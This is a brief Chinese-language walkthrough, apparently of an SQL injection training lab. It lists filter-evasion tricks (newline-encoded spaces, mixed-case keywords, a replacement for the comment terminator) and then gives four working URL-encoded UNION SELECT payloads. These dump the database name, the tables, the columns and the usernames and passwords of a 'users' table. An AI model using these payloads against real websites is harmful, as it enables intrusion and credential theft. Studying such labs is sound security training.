一.一些可以替代的
1.空格可以用%0a替代
2.–+可以转换成’1’='1
3.union select 可以用uniOn selEct这种转换中夹杂着大小写
二.实战
真复杂。。。。。。。。。。
1.爆库
0’%0auNion%0aselEct%0a1,(database()),3%0aand%0a’1’=‘1
爆出的库名为security
2.爆表
0’%0auNion%0aselEct%0a1,(selEct%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘security’),3%0aand%0a’1’=‘1
爆出表users
3.爆字段
0’%0auNion%0aselEct%0a1,(selEct%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=‘security’%0aand%0atable_name=‘users’),3%0aand%0a’1’=‘1
4.爆数据
0’%0auNion%0aselEct%0a1,(selEct%0agroup_concat(id,username,password)%0afrom%0asecurity.users),3%0aand%0a’1’='1